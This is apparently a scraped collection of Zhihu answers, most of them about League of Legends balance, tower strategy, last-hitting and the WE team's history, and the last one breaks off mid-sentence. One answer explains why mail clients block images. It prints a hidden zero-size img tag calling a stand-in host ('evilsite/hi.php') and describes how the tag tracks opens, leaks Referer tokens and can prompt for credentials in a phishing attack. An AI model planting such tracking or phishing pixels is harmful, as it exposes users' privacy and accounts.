我是新手,想问为什么我玩联盟出了一大堆肉装还是让对面两三下wwe送葬者打死人了

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谢邀。&br&&br&kass是一场设计师与玩家之间的博弈。&br&&br&其实一开始,一个英雄在被设计出来的时候是被否定的,这个英雄曾经一度被拳头否定,被认为是一个不该存在于召唤师峡谷的英雄,没错,他就是……盲僧。等等咱们不是说kass吗?盲僧是在玩家们的强烈要求下才出现在召唤师峡谷的,大家喜欢这个打击感+操作感十足的英雄。盲僧影响了召唤师峡谷的格局了吗?我们可能会说,是的,我们无数次看到盲僧在野区驰骋,看见他展现连设计师都没有想到过的连招,完成华丽的击杀或是操作。同时我们看到了什么?e技能削弱,第二次e技能不再减少攻击速度;w技能削弱,不再给小兵增加护盾,护盾爆裂不再恢复能量且对非英雄单位使用的cd增长;q技能的基础伤害;r技能的伤害加成……我们从中看到了什么呢?我看到了,野区的盲僧,也看到了上单主w的盲僧,或是中路完成酷炫击杀的盲僧,哪怕在下路,你也能看到辅助盲僧的身影。cool,这样一个多变的英雄,设计师不是把它设计的太厉害了么?&br&&br&真的是这样吗?&br&&br&李星从设计初开始,一个打野英雄的定位,被玩家开发出主w副e或者反过来加点的打法。多么神奇!!多么激动人心!多么有创意的想法!然后拳头觉得,这样太强了,然后削弱他。实际上他真的强的过分吗?&br&&br&聊回kass吧!&br&&br&大家或许对kass印象深刻的一场比赛还是sk被FN.RC偷家的那场比赛吧,FN.RC的中单在对面sk两人围剿的情况利用w的被动硬生生的敲掉了sk的基地,sk的天才中单含泪饮恨IEM。之后kass的w技能就被砍掉了,这是非常有趣的事情。设计师只看到了kass利用w的被动敲掉了sk的基地,却没看到kass如何熬过了前期艰难的发育期,或是kass的w技能在其他地方是否展示了非常过分的伤害。无休止的削弱,重做,甚至让这个英雄快要背离一开始的设计初衷。这样做是为什么呢?&br&&br&玩家的创意永远超过设计师的想象!&br&&br&拳头的设计师经常自己都不知道,自己想让这个英雄变成什么样子,很多时候给人的感觉只是随便切掉点什么,或者装上些什么。想要更有趣,抑或者是更有张力的做法(菲兹:拳头你不是人!),然而最后的结果往往让人大跌眼镜:寡妇的重做(alex笑而不语),螳螂的屡次修改(中国玩家和韩国玩家对于螳螂这个英雄的开发完全可以发一面锦旗),瑞兹的修改(瑞兹:我能掌控……你别跑!有种让我q一下!)……等等,我们都能看到拳头似乎在英雄平衡上找不到什么方向了。有创意有想法的玩家不断的开发出新的英雄和新的打法,设计师陷入了一个”最近这个英雄好像很强啊“我们来做出一些修改来限制他们吧!然后呢?看看时光,看看风女,天,你们真的不是直接把英雄扔进屠宰场然后拎出来找一个缝合怪再给他们缝起来么?&br&&br&kass的出现不是一个错误,错误的是设计师抑或者是平衡师无法找到一个合适的修改方案,错误的是低估了玩家的创意和想法。这些英雄真的强的过分么?大家甚至还未对这些强势的英雄做出一些counter的打法,拳头就一刀让他们变成了残疾,真是恨呀!纳尔兰博的出现最初是为了对抗上路的坦克大树,利桑卓的中单一开始是为了应对强势英雄劫的爆发能力……玩家对于英雄对位的选择本应该丰富多彩且富有各种趣味的博弈性,而屡次的奇怪修改让他们的选择只有那些开发出来,还未挨刀的所谓版本强势英雄。没有最强的英雄,只有最强的玩家!为何设计师或是平衡师们不放慢一些脚步呢?在匆忙设计机制复杂越来越花哨的新英雄之前,可不可以停下脚步看看这些满目苍痍的老英雄?或是活跃在战场上的这些新英雄?他们真的老了吧?这样的改变是真的增强吗?他们真的足够强吗?是否其实只是开发出了一种打法而大家还没找到针对的另一种打法呢?这个r,真的强的过分吗?数一数这些同样拥有快速位移技能的英雄,妖姬也好,ez也罢,甚至卡利斯塔……他们真的棘手到毫无办法处理的局面吗?kass,只是平衡洪流中被屠宰场切掉了腿的可怜英雄中的一个罢了。&br&&br&---------------------&br&一家之言,欢迎讨论。
谢邀。kass是一场设计师与玩家之间的博弈。其实一开始,一个英雄在被设计出来的时候是被否定的,这个英雄曾经一度被拳头否定,被认为是一个不该存在于召唤师峡谷的英雄,没错,他就是……盲僧。等等咱们不是说kass吗?盲僧是在玩家们的强烈要求下才出现在召…
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&b&以下是大型基础知识科普时间。&/b&&br&&br&&b&————————————————————————&/b&&br&&b&单单科普一下防御塔的作用。&/b&&br&&br&&b&以下举例蓝本为游戏蓝色方,紫色请自行反转脑补。&/b&&br&&br&首先,我们先明确一点,即&b&防御塔的存在,是为了使得己方更好的&u&把守自己野区的入口以及确保己方英雄在线上的安全&/u&。&/b&&br&&b&我们先用几张图来给大家认识一个基础的概念。&br&&/b&&img src=&/c2fbc4e27ebba28f2ef4d1c_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/c2fbc4e27ebba28f2ef4d1c_r.jpg&&&img src=&/d9cb6ec05fcab280c80353_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/d9cb6ec05fcab280c80353_r.jpg&&&img src=&/17c11a8adb_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/17c11a8adb_r.jpg&&上三张图,即为游戏初期,蓝色方最基本的四个野区入口,通常,我们只需要做下如下的四个眼位,就可以做到大概监视有无敌方英雄进入我方野区。&br&&img src=&/423ec12eb11d5_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/423ec12eb11d5_r.jpg&&&img src=&/d282b69b787fbf10f3b960bc_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/d282b69b787fbf10f3b960bc_r.jpg&&&img src=&/13f537e4cef5f609db9087ffa4b5a4d5_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/13f537e4cef5f609db9087ffa4b5a4d5_r.jpg&&&img src=&/d8cb6b82f13dc5fb2e73bfe7_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/d8cb6b82f13dc5fb2e73bfe7_r.jpg&&&b&PS:这里对一些有穿越地形与隐身能力的打野英雄并不适用。&/b&&br&&br&&br&&b&那么,当一塔告破后,会产生什么影响了?&/b&&br&&br&&b&我们先从中路开始。&/b&&br&&img src=&/b7da38ba0b76e48f504e5_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/b7da38ba0b76e48f504e5_r.jpg&&我们可以看到,当失去一塔后,蓝BUFF与红BUFF野区会各多出一个入口给敌方侵入作为选择,而我们如果再把视野做在刚刚的河道处,就不足以保证野区的安全,同样的,己方线上英雄对线时的安全线,也从河道中央,变成了原先的一塔左右,一但进入河道,就会面临着被敌方绕后的危险。&br&&img src=&/981375cdd34f67d08432bcb0c416f29a_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/981375cdd34f67d08432bcb0c416f29a_r.jpg&&&img src=&/2f34dd5daf073f090d7dc82_b.jpg& data-rawwidth=&1366& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&1366& data-original=&/2f34dd5daf073f090d7dc82_r.jpg&&&b&为了保证在一塔附近补兵的我方英雄吃兵,我们需要把视野退回一步,做在我方的中路野区附近路口处,而这样,会面临一个问题,即放弃了河道的视野,而河道的视野等同于对大小龙的控制,所以在当我们去河道做视野时,需要承受更高的危险度。&br&&/b&&br&&br&&br&&b&上下路同理,当一塔告破后,进入我方红/蓝BUFF野区的 路口会多出两个,而如果想要在对野区进行防守,要么我们在原先的位置上多付出一个假眼,要么吧原先的眼位往后退一步,把河道让给对方。&/b&&br&&br&&br&&b&而对于线上的英雄来说,一塔的告破,代表着的是&u&对线期的结束,&/u&无论是对于我方还是对方,兵线的距离都被拉长了一截,其中间地带不如一塔还在时那么安全,我方或者对方,会始终有一人处于危险的可能被GANK状态,因此一塔告破后,更多的互推兵线然后该去刷野就刷野,该去支援就支援。&/b&&br&&br&&b&我们在这里提一个题外话,也是题主关心的,&u&为什么不要过早的推掉外塔&/u&。从上面所得到的,一塔告破代表着对线期的结束延伸开来,我们可以看到,过早的推掉外塔等于我方的兵线会过于深入对方的区域。而一旦当前期的兵线推到对方2塔前时,如果对方有意识的控一波线的话,我方就会处于很尴尬的状态,因为前期很难去其他路进行有效的支援,而去刷野怪也明显不是一个很好的选择。英雄联盟的控线虽然不至于像DOTA2那样,只要在无人干扰的情况下,一个有着良好的基本功的一号位选手可以控上至少十分钟兵线不会有任何移动。但一两分钟内让你一个兵的经验都吃不到,这在前期来说是很伤的,尽管你推塔拿到了一些团队经济,但对于LOL来说,前期的经验,比经济更重要。&/b&&br&&b&双人路推掉外塔,是在于,下路外塔告破后转中路抱团推一塔,这是目前路人局里最常规的战术选择,而上路因为有TP的存在,不需要那么急的在早期就就结束对线去抱团。&/b&&br&&br&&br&&b&而二塔的告破,基本概念与一塔相同,代表的是我们对于野区入口的全部丢失,即为失去了野区的掌控权,对于线上的兵线,线上的安全区域也再次削减,到了高地门前的地步,一旦越过2塔的废墟,就有一定可能被对方GANK。&/b&
以下是大型基础知识科普时间。————————————————————————单单科普一下防御塔的作用。以下举例蓝本为游戏蓝色方,紫色请自行反转脑补。首先,我们先明确一点,即防御塔的存在,是为了使得己方更好的把守自己野区的入口以及确保己方英…
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谢邀,站在黑客角度来给出答案。&br&大多数专业邮箱都默认不显示图片,因为:&br&&br&&img src=&a href=&http://evilsite/hi.php& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&evilsite/hi.php&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& width=0 height=0 /&&br&&br&看,src的值可以不需要是真图片。&br&&br&这样可以隐蔽地得到邮件URL(即Referer,即浏览器地址栏那个URL)。&br&&br&有什么用呢?&br&&br&1. 邮件打开跟踪:只要邮件被查看就会请求这个hi.php地址,hi.php可以做好记录,除了记录是否被请求了,还可记录邮件URL、用户浏览器User-Agent、用户IP地址等。这个可以做个邮件跟踪系统了:)&br&&br&有了这个,根本不需要「已读回执」功能了。&br&&br&有了这个,搞垃圾邮件群发的,各位脑补下,他们会有多开心。&br&&br&2. 某些手机端邮箱:传统的WAP或APP(本质是Web的情况),Referer可能会包括用户身份token,这会导致身份token轻易泄露,账号被盗。&br&&br&3. 有人用hi.php来玩钓鱼攻击:hi.php可以被设置需要Auth等认证,这时一查看邮箱就弹出一个Auth窗口,提醒输入用户名密码,只要场景设计好,有一定概率,用户会被钓鱼。&br&&br&4. 确实,图片可以很好躲避基于文本的贝叶斯反垃圾机制。默认屏蔽图片,「意外」屏蔽了这个眼不见心不烦的烦恼?&br&&br&就这么小的一个点,这些年来一直出现各种对抗,出现个对抗又被修复。什么是好邮箱?好邮箱就是这么小的一个点,必须把控好安全与体验的那种平衡:)&br&&br&EOF.
谢邀,站在黑客角度来给出答案。大多数专业邮箱都默认不显示图片,因为:&img src= width=0 height=0 /&看,src的值可以不需要是真图片。这样可以隐蔽地得到邮件URL(即Referer,即浏览器地址栏那个URL)。有什么用呢?1. 邮件打开跟踪…
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多一种可能。
——这是我觉得到现在为止我最满意的答案。&br&&br&——————&br&补上解释:&br&足球为什么要有越位铲球?
蹴鞠不是更好吗?&br&篮球为什么要有走步打手?
直接抱球冲杀不是更爽吗?&br&网球为什么要有网和边界?
打得过去不就行了吗?&br&&br&很显然,这样打最后的结果就是。这些运动只向一个方向发展。没有其他可能。&br&足球会只挑选跑得快的人。那博尔特拿到球谁还能追的上?&br&篮球会只选个子大冲的猛的人。那博格斯可以洗洗睡了。&br&网球只需要能接得住打的过去的人就行了。就没费德勒啥事了。&br&(举例可能不太恰当,只做参考。)&br&&br&规则的增多,会致使比赛的多样性,可观赏性大大增加。也使选手能够在更多方面进行发挥。&br&&br&回到反补,反补可以压制对面,可以控线。&br&反补远程小兵给对面英雄18点,近战小兵给对面英雄36点。远程小兵正常经验是41,近战小兵是62。&br&而在LOL中除了将对方英雄击杀和将其逼出经验区外,没有其他办法可以等级压制。&br&而在中期也可以反补防御塔和己方英雄,也可以增加很多可能。&br&&br&再说一点,DOTA版本不停的变更。其中的修改是多种多样的。比如经验区的增加。(小兵死亡之后对方英雄可以站在更远的地方吸取经验)比如英雄击杀时候金钱和经验的获取。&br&&br&我们假设一个修改,将反补时远程英雄的经验吸取改为10点,而近战改为20点。&br&那么会发生多么大的节奏改变呢? 首先劣势路更难混了。选手为了保证等级,刚三(一路三对三)的可能性将会更多,那么发生战斗的几率就会增大。而反补之后经验的减少。也会使双方等级拉大。节奏也许会更快。当然这只是我自己进行的一个模拟,也许其中有更多的可能。&br&&br&说了这么多。其实还是那么一句话。多一种可能。&br&————————————————————————&br&7.11新增
关于LOL的评论&br&&br&那么相对于没反补的LOL呢,我们也不能说错。LOL因为没有反补,在这一方面的操作就会减少一些,也就简单一些。而对于对线期的节奏把控也比DOTA更加简易。&br&&br&当然对于LOL和DOTA的节奏把控来说。也不是仅仅一个反补就能比较的。&br&&br&当然对于LOL和DOTA的整体游戏难易度来说。也不是仅仅一个反补和节奏把控就可以去比较的。&br&&br&__________________________________________&br&7.12新增
修改某些措辞,更加浅显易懂&br&&br&知乎的精神是认真。当然我的答案您可以不看,可以认为很low随随便便扫一眼。但如果对于我答案有质疑或者反驳,都先请认认真真看完再去评论。 这对您和我都好。&br&&br&如果有说我措辞失当或者有什么语文水平不足让您看不懂的地方可以评论。可是我不能原谅您看不懂就对我进行评价,这是不合理的。
多一种可能。 ——这是我觉得到现在为止我最满意的答案。——————补上解释:足球为什么要有越位铲球? 蹴鞠不是更好吗?篮球为什么要有走步打手? 直接抱球冲杀不是更爽吗?网球为什么要有网和边界? 打得过去不就行了吗?很显然,这样打最后的结果就是…
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我有一个表妹,我在家的时候天天和她玩地铁跑酷,神庙逃亡,连连看,对对碰,泡泡堂,跑跑卡丁车,这个假期答应教她LOL。她今年六年级,成绩次次年级第一,能做蛋炒饭还会钢琴,葫芦丝,在周庆的时候能去全州的大型舞台上跳舞。&br&我在高考的前三个月玩了将近一千把LOL,本来能上个二本,结果分数刚过三本线。复读&br&复读一年快高考了,在复读的一年里用心学习,但是周末,甚至平时会逃课去玩LOL,但是本来也能上个普通211,失恋了,结果就考了个二本。&br&简单说来,对于自己没有自控能力。从小网络不发达,大人听到关于电脑游戏的一切都是害死人,沉迷,会毁了孩子的一生,我在小学,初中,高中一直在和大人进行博弈,包括跟踪,限制零花钱,联合朋友的父母,电脑设置开机密码,严禁下载游戏等等方式限制我碰电脑。但是上有政策,下有对策,我能骑一个小时的自行车去附近镇上的网吧,只为玩一局澄海,能够半夜爬窗户从家里翻出去,后来家人让我去二楼睡觉,但是我从二楼挂一根绳子爬下去通宵,白天就只敢睡到十一点。限制我零用钱我就不吃早餐,白天监视我我就晚上去,联合别的孩子的家长我就自己去,问我去哪儿了我就撒谎,钱再不够撒谎说我要交班费,家里给钱买乒乓球拍留下来给冒险岛买一只宠物,没钱上网了逃课去捡橡胶子,去卖废铁。&br&到读高中,大学了每个月有生活费了,突然那种不被束缚的感觉简直爽爆了,月初抽玉溪,月末捡烟蒂,月初红烧肉,月末吃泡面。&br&我妹妹呢?她从小我的姨爹就告诉她,电脑,手机,互联网是以后必须会的东西,你要玩就玩咯,但是你作业写完就行。钱嘛,零花钱按月给。不是一天一领,看到喜欢的衣服,自己淘宝买。&br&我觉得,从小给孩子一定的信任,并且在从中引导可能是一种比较好的方式,毕竟做父母的只是帮助他们成长,并且很幸福的参与到他们未来精彩的一生当中,而不是把他变成你想要的的一生。抱着这个想法,很多东西就水到渠成了。不给孩子打游戏,就像我们打篮球的时候容易受伤的总是曾经崴到的那只脚,越是害怕他他就容易来。&br&(手机不懂怎么弄分割线,突然发现问题被编辑了,原题目是如何限制自己的孩子不玩游戏,对于目前的这个题目,好尴尬。)
我有一个表妹,我在家的时候天天和她玩地铁跑酷,神庙逃亡,连连看,对对碰,泡泡堂,跑跑卡丁车,这个假期答应教她LOL。她今年六年级,成绩次次年级第一,能做蛋炒饭还会钢琴,葫芦丝,在周庆的时候能去全州的大型舞台上跳舞。我在高考的前三个月玩了将近…
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觉得自己是无过错方,对方被骂是因为缺德、缺心眼等等·······&br&&br&在公共平台骂人,其实就是所谓的“大家评评理”,请大家速来围观的意思。&br&&br&还有一些针对某一人的话,写的很隐晦,不透露对方的信息,这种俗称大范围撒娇,求抱抱。&br&&br&中国的隐私观到底是和西方不同。遇到争执群求集体力量干涉,是传统宗族方式的延续。过去俺们村里两家人发生口角了,扯嗓子把全村人招来,然后老村长之类的人出面调和一下,问题就解决了。&br&---------------------------------------------------------------&br&被回复惊艳~&br&&img src=&/6ba6902cb61d61ddf33c_b.jpg& data-rawwidth=&577& data-rawheight=&98& class=&origin_image zh-lightbox-thumb& width=&577& data-original=&/6ba6902cb61d61ddf33c_r.jpg&&
觉得自己是无过错方,对方被骂是因为缺德、缺心眼等等·······在公共平台骂人,其实就是所谓的“大家评评理”,请大家速来围观的意思。还有一些针对某一人的话,写的很隐晦,不透露对方的信息,这种俗称大范围撒娇,求抱抱。中国的隐私观到底是和西方…
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辍学直播和辍学打游戏的区别对他们来说只是开没开斗鱼。
辍学直播和辍学打游戏的区别对他们来说只是开没开斗鱼。
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这个问题真的想好好回答一下,借着回答整理一下关于这支英雄联盟战队这两年多来带给我的情感(从刀哥和IF还在WE的时候关注的这个战队,差不多也可以算是眼看着他起高楼,眼看着他宴宾客,眼看着他楼塌了吧)。可能会有点跑题,因为问的是全盛时期的评价,我就从S2到现在都说一说吧(中间可能会断,初步打算多次更新)。&br&&br&我是2012年4月份接触这个游戏的,刚接触的时候也不知道看比赛。等到知道看比赛的时候,刀哥和IF还在WE。当时的国内是WE和IG双雄时期,唏嘘一下,现在两队的老人也只剩下姿态和影子了(姿态和影子也不是老IG的人,具体什么时候来IG的忘记了,只记得我印象中有IG这么个战队的时候就有这两个人了)。开始看比赛也看不大懂,刀哥和IF都没留下什么印象的时候就离队了,只记得当时有一个国外媒体评的关于各路的top排行 ,WE的微笑和IF组合是唯一上榜进入前五的,当时觉得换人还能这样了吗?这样,诺言和卷毛在S2开始前一个月来到了WE,开始了后来被称为宇宙队的旅途。&br&&br&S2是第一次看正规的比赛,joker和小苍的解说组合当时给我感觉帮助还是很大的,第一次真正感受到这个竞技游戏带来的魅力。WE是作为种子队进入的8强,IG打的小组赛,不过也进入了8强,8强WE对CLG.EU ,IG对M5。现在看来,诺言和卷毛对于当时的WE来说简直是块宝。卷毛第一场的机器人就亮爆全场,上路吃下EZ、日女和死歌的大招后,丝血反杀日女至今让我记忆犹新。诺言单BUFF开局,依然早早顶出400(直到现在为止,视野依然是这个游戏的王道)。顺利拿下第一局后,就是大家耳熟能详的网线门事件,也有了后来的军团EZ和E杰斯脸等著名黑点。但不可否认的是CLG.EU绝对是当时世界上的顶尖强队,WE输的极为可惜,8个小时的重赛,想想都觉得累死人了吧。卷毛的机器人在S2上大放异彩,直接导致这个英雄被削,并在削之前占据一个BAN位,机器毛一举成名,完美替代IF。&br&&br&S2的赛后采访中,若风和草莓接受采访,当问到草莓,wicked的上单如何时,草莓用一贯很直率的口吻说,他就艾瑞莉娅玩的还可以,其他都很一般。这时,就非常喜欢WE了(我是一个很专一的人。。。。第一次看足球就喜欢上利物浦,即便20多年联赛无冠,依然一直支持,很苦)。未完待续...&br&&br&----------------------------------------------接上午继续更新---------------------------------------------&br&&br&S2后马上就是IPL5了,当时,真的谁都没能想到WE能得到冠军。那个时候的格局确实韩国还没有崛起,但欧美也没现在这么没落,第一梯队还是由欧美占据的,尤其是M5,以其新颖的阵容和打法赢得超多粉丝,并且刚刚在IPL5之前国内的一个表演赛上将WE斩落马下。现在很多黑抗的人都会把这个冠军当成黑WE的点,公平的说,IPL5的双败赛制以及参赛的队伍,在当时来说绝对是世界顶级的,WE的夺冠货真价实没得黑,WE也是从这个冠军开始了一年十冠的征程。&br&小组赛首轮对阵Azubu Blaze,WE打出碾压的优势,早早的将韩国队伍打出20投。次轮对阵Fnatic(这支队伍真厉害,从S1一直保持竞争力到现在,可谓LOL常青树)。26分钟就拆下基地。草莓的疯狗奥拉夫在这届开始走向世界,并步入世界一线上单行列。&br&&br&小组出线后,面对如日中天的M5,若风的卡牌和寡妇(好像第二常用的寡妇,记不太清了)带动全场,抓爆大嘴,干净利落的完胜。下一个是老对手CLG.EU,对阵CLG.EU又是一个完美的二比零复仇,其中第二场堪称史诗级大片,草莓的偷塔狂魔称号由此而来,又直接导致了狮子狗的削弱。接下来又两胜Fnatic,除了没有跟TPA交手有些遗憾外,WE这个冠军货真价实。并在这个冠军后,统治战队排行榜第一的宝座很长很长时间。&br&&br&其实,在我的英雄联盟记忆里,称的上王朝的队伍有两支,一支是WE,一支是SKT。但是WE的确没有SKT那么信服,因为他毕竟少一个S系列的冠军,S系列的赛事才是LOL的最高荣誉。但是,我们也没必要那么不自信,在IPL5后很长一段时间,WE确实是统治着那时的英雄联盟的。未完待续...
&br&&br&----------------------------------接9月1日更新-------------------------------------------------&br&&br&IPL5后到SWL决赛这段时间里(印象中这段时间很长,但是昨天查过后,发现也才不到半年的时间),用无状态在英雄代言人中的话来说,你们那时候那么无敌,谁敢嘲讽你们啊。的确,这个时候是WE的鼎盛时期,若风的卡牌常年占据一个BAN位,支援意识极强。草莓是世界一线上单。诺言经常上演抢龙好戏,诺导的绰号已经变成了厂长(印象中诺言有一次下路GANK,在知道河道有眼的情况下,从小龙那闪现过墙绕眼位,最后GANK成功,这份魄力真的是霸气)。微笑获得世人称赞,doublelift自称是仅此于微笑的ADC,pray自愧不如,madlife最想合作的ADC等等,微笑那个时候的确是世界最强的ADC,地位可比后来的faker。卷毛的操作非常细腻,人称KDA之王,也被广大粉丝认为唯一可以去OGN还能发挥出色的辅助(印象极深的一场是璐璐辅助抢小龙,叹为观止)。这时的WE连战连胜,番战不败,一切都持续到SWL的决赛对IG。&br&&br&SWL当时有12支亚洲队伍参赛,实力也还都不错,其中包括3支韩国队伍,值得一提的是现在WE的教练hiro当时就是作为ADC的位置跟微笑对过线,结果自然是惨不忍睹。也是在这次比赛中,给我带来了韩国队伍也就一般的错觉。。。在韩国崛起的这段时间里,我是比较迟钝的,直到S3的全明星赛,我还认为我国的实力是完全可以与韩国一战的,结果全明星赛一巴掌打醒了我,这些下个章节再说。接着说SWL,这次比赛采用的是双败的赛制,WE顺风顺水的成为了胜者组的冠军,在和IG进行决赛之前就取得了1:0的领先优势,但也正是这次决赛成为了WE没落的开始。而这场比赛也将WE的粉丝推上风口浪尖,60e的称号由此诞生,所以WE的没落和大环境,喷子等是有着绝对关系的。&br&&br&比赛本身没什么好说的,时间有点长我也记不太清楚了,只是印象中微笑的小炮有几次走位失误。而最后决胜局的时候,WE在兵线优势的情况下,被PDD抓住几乎可以算的上是唯一的机会,传送强开团导致最后输掉比赛。比赛之后的事情,却影响深远,甚至可以说得上是为WE的没落打下了注脚。著名的矿泉水瓶事件后,引发的是一场关于脑残粉的深刻讨论,从此刻起,WE的粉丝因为某个人的个别行为,而背上了一口卸不下的锅,给选手和粉丝心理上也带来了巨大的压力。在这之后,WE的成绩开始下滑,一下滑就有人嘲讽WE粉丝,WE粉丝就愤起回击,然后双方就你来我往,选手压力也更大,压力大了以后成绩继续下滑,由此造成恶性循环。那段时间,仿佛喜欢WE都成为了一种罪过,喜欢WE就成为了脑残的代名词。&br&&br&其实,我们平下心来想一想,这些选手都20左右岁,年轻气盛。我们20左右的时候在干吗?遇到别人非议的时候,心理反应是什么?(诚实的说,WE选手的心理素质确实要弱一些,也可能是他们的曝光度最大,导致背负的更多,但很多次的关键比赛拿不下来,这绝对不是一个偶然的现象)当然,你会说,他是职业选手就应该有这方面的承受能力等等。但是,我觉得,我们不能因为他是个职业选手就忽略了他们的心智。如我所说,我不能指望一个20岁的孩子将什么事都处理的那么完美,当然我也不想去指责那些黑抗,从他们的言行上来看,我觉得他们比选手的年龄更小,估计也就是个16,7左右,他们的行为很大一部分是来自于凑热闹的从众心理。这是整个社会的风气造成的,社会太浮躁,电竞圈只是一个缩影,其实,每个圈子都有这样乌烟瘴气的情景,我不是这方面的专家,不知道该如何改善这种情况,但我觉得如果现在社会上的青年一代,都把挖苦,拆台,嘲讽,凑热闹当成乐趣的话,国家的前景真的非常堪忧。&br&&br&扯得远了,也扯累了,未完待续吧。。。下午继续更新LPL部分。&br&&br&----------------------------------接上午更新------------------------------------------------------&br&&br&SWL后就是2013LPL春季赛了,初始的时候,WE还算顺利,一直领跑,不过这个时候,OMG已经展现出了黑马的势头,尽管在两队的第一回合交锋时,WE取得了胜利,不过局势一直很胶着。WE顺利的进入了季后赛,但是1:2输给了后来无数次的老对手OMG,进军S3只能寄希望于夏季赛了。当时的感觉就是OMG的风格很克制WE,WE的节奏偏慢,而OMG的前期快速抱团推塔,然后掠夺野区资源,扩大优势。每每与OMG比赛,都感觉被缚住了手脚一样不自在。&br&&br&这其中,穿插着全明星的投票和全明星赛。WE以其超高的人气,分别都获得了各个位置的第一,在规则只允许3个人出战的情况下,队友都给诺言拉票,最后诺言如愿以偿的出战全明星。全明星将我从世界第一的美梦中打醒,对战韩国的决赛是完败,无论是从操作上,还是从战术上。这也是韩国统治LOL的开始。不过,这次比赛还是带给了广大玩家一些美好回忆的,PDD的兰博1V2反杀俩人,笑笑的锤石神勾以及螳螂死歌的收割体系。&br&&br&全明星后便是夏季赛了,对于春季赛没有进军决赛的WE来说是不容有失的。但是,神奇的皇族出现了。皇族在春季赛的时候,由于tabe的退役,更换了3名辅助,但是依然打的很不好,季后赛都没进。有一场对PE的比赛,明显能感觉出队内出了一些问题,white的劫多次赌气般的强上进去送。这一切,在夏季赛tabe复出后,有了很大改观,凭借赛季中期tabe拿出安妮辅助和white的鱼人体系后,一举冲进了季后赛。更是在S3的预选赛中,从败者组一路杀出成为S3中国区的种子队伍,并取得S3亚军这一S系列中国最高成绩(EDG在S4上能不能拿到亚军,真的要打一个问号,看韩国队伍能否内战吧)。这一切都是个那么励志的故事,个中情节都可以拍一部紧张、刺激的电影了。&br&&br&当然,这其中饱含争议的,便是所谓的皇族赛季最后一场的演员事件。我先表明个人观点,先不说有无证据证明皇族是否消极比赛,单从已经确保出线的情况来看,拿出阵容演练并没有什么可说的,这和很多足球比赛中在小组最后一轮确保出线的情况下让主力休息是一样的。怪只能怪WE自己没把握住机会。WE一度形势岌岌可危,在拿出中单塞恩后,情况改观了一些。但是在倒数第三轮,对阵皇族这么关键的比赛上,没有做出足够充分的准备败下阵来,这,真的怪不得别&br&人。而且,一度还出现中单和打野在比赛时,英雄没有交换过来的失误,这真的是很不可思议的。最后一轮,无关出线的比赛。介绍选手的时候,草莓低着头,确实挺让人难受的。当时,大家说的最多的还是,不要紧,明年我们再来。但殊不知,这已经是WE队内分崩离析的开始。&br&&br&值得一说的还有在夏季赛期间进行的IEM8和亚室会(应该是在夏季赛期间进行的,记不太清了)。亚室会1:2败给了KTB获得亚军。IEM8上WE战胜了OMG,获得了中国区的冠军(同样的故事发生在今年的IEM9,WE战胜了EDG,获得了中国区的冠军)。在这种赛事上,WE总是有着出色的发挥,但是回到联赛中,却往往无法将出色的状态延续下去,这说明WE善打杯赛?&br&&br&S3赛事结束后的大赛,就是最后一届的WCG了。若风为人诟病的140PING事件好像就来自此次大赛。正是在这次赛事后,WE的诺言、卷毛、阿布离队,若风退役。其中,发生了什么,我们无从得知。我看也有评论让我评论一下阿布这个人的。这里面的事情,各有各的叙述也各有各的道理。虽然我作为一名喜欢WE的玩家来说,是不愿意看到这种事情发生的,但是我尽量不去思索其中的所谓内幕,因为我们不在其中,一切也都是臆想和猜测,尽量把他看成一次普通的体育转会。但不可否认的是,由于打野和辅助的离队,中单的退役,曾经那支给我们带来荣耀和辉煌的王者之师已经不存在了。&br&&br&我认为,当时队伍中一定是有一些不为人知的问题的。而若风这个人,是比较在意大众对他,对这支队伍,对这个俱乐部的评价和看法的。从他早期在DOTA时期的恶魔巫师开始,到后来英雄联盟的被人调侃的微博王,140PING等等能够看出,他始终还只是个孩子。我们不能指望他像一名30多岁的成年人去处理这些来自外界的曝光、评价和压力。从英雄联盟的火爆程度和WE的荣誉来说,WE这支战队绝对是曝光度最高,压力也最大的战队,而恰好若风又比较在意别人的看法,导致了他的退役。我也很希望他当时能够坚持下来,继续扛着这个队伍前行,成就一段佳话。但是,每个人都有每个人自己的看法吧。退便退了,继续黑就没必要了,还人一个正常的生活,作为一名选手,他也没有任何对不起玩家的地方。&br&&br&2014LPL春季赛开始的时候,WE来了3个新人,微笑变成了队长。队伍在EDG,OMG强势崛起的情况下,也进入了季后赛。微笑在联赛中卢西安也有多场的亮眼表现,好像让我们又看到了S2的微笑。但是季后赛中,面对EDG,在先赢一局的情况下被EDG逆转,又将进军S4的宝押到了夏季赛上。这时的中单问题是比较大的,往往看到雪雪在对线期占优,甚至单杀对手,但是到了团战的时候就是打不出伤害。导致WE输了不少比赛。&br&&br&这里,还要多说一句的就是草莓的父亲。其实,之前对于黑抗的一些段子,大家还都是抱着调侃的态度。还都是比较高级的黑。但到了这时,已经开始演变到拿选手的家人来说一些东西,这就有点说不过去了。黑了之后,WE的不冷静粉丝又去继续黑别的选手的女朋友,家人之类等等,搞的大环境越来越差。随着英雄联盟曝光度的逐渐增加,我们却看到喷子的急速增长,这对整个大行业的发展真的是非常非常不好。&br&&br&春季赛之后的夏季赛,俱乐部请了两个韩国外援和一个韩国教练(之前SWL提到的hiro)。就这两名选手来说,我觉得中单非常不错,英雄池深,对线团战也都很强,但是在赛季最关键的最后一场比赛中,犯下致命错误导致被翻盘。而韩国打野就比较神经刀,好的时候能用瞎子carry全场,不